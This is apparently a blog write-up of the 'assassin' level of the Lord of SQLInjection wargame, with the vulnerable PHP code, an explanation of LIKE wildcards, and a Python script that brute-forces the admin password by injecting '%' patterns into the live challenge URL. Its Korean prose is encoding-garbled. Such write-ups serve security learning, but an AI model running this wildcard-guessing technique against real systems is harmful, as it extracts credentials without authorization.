1. Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
2. Condition
- ์์ ๋ฐ์ดํ๋ฅผ ํํฐ๋ง ํ๋ค.
- ์ฟผ๋ฆฌ๋ฌธ์ ๊ธฐ์กด๊ณผ ๋ค๋ฅด๊ฒ like๊ฐ ์ฌ์ฉ๋์๋ค.
3. Solution
๋ณ์๋ช | ๊ฐ |
pw | i% |
like๋ %,_์ ๊ฐ์ด ํน์ํ ๋ฌธ์๋ฅผ ํตํด ์ ํํ์ง ์์๋ ๊ฐ์ ์ ์ถํ ์ ์๊ฒํ๋ค.
% : ๊ธ์์์ ์๊ด์์ด ๋ชจ๋ ๊ธ์๋ฅผ ์๋ฏธํ๋ค.
_ : ๊ธ์ ํ๋๋ฅผ ์๋ฏธํ๋ค.
์ฝ๊ฒ ์ค๋ช ํ์๋ฉด ์๋ ํ์ ๊ฐ๋ค. ์๋ก ๊ฐ์ ๊ฐ์ด๋ค.
์๋ฌธ | like ์ธ์ |
ch4n | % |
w00ng | w% |
yee | %e |
What | W_at |
A$AP | A$A_ |
์์ํ๊ธฐ์ , ๋ชจ๋ ์ฌ๋ฌ ascii๊ฐ์ ๋ฃ์ด๋ดค์ง๋ง Hello guest๋ง ๋์ค๋ ๊ฒ์ ๋ณด๊ณ , guest์ admin์ pw๋ ๊ฒน์น๋ ๋ถ๋ถ์ด ์๋ค๊ณ ํ๋จํ์๋ค.
python ์คํฌ๋ฆฝํธ๋ฅผ ์ด์ฉํ์ฌ "Hello guest"๊ฐ ๋์ค๋ pw๋ฅผ ์์๋ก ์ ์ฅํด๋๊ณ , "Hello admin"์ด ๋์ฌ๋ ๊น์ง ๋ฃจํ์์ผฐ๋ค.
4. Injection
๋๋ณด๊ธฐ
์ฐ์ , python ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ์ง๋ดค๋ค.
import requests
cookie = {'PHPSESSID' : '~~~~'}
find_ad = 0
pw_plz = ""
for i in range(10):
for j in range(48, 123):
if j == 37 or j == 95:
continue
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+pw_plz+"%s%%" % chr(j)
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
print(url.split('?')[1],"-> admin")
pw_plz += chr(j)
find_ad = 1
break
elif "Hello guest" in res.text:
print(url.split('?')[1],"-> guest")
pw_plz += chr(j)
if find_ad:
print("\nadmin pw : %s%%" % pw_plz)
break
์ฑ๊ณต์ ์ผ๋ก ๊ฒฐ๊ณผ ๊ฐ์ด ๋์จ๋ค.
๋ณ์๋ช | ๊ฐ |
pw | 902% |
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
zombie_assasin (0) | 2023.08.03 |
---|---|
succubus (0) | 2023.08.01 |
giant (0) | 2023.08.01 |
bugbear (0) | 2023.07.30 |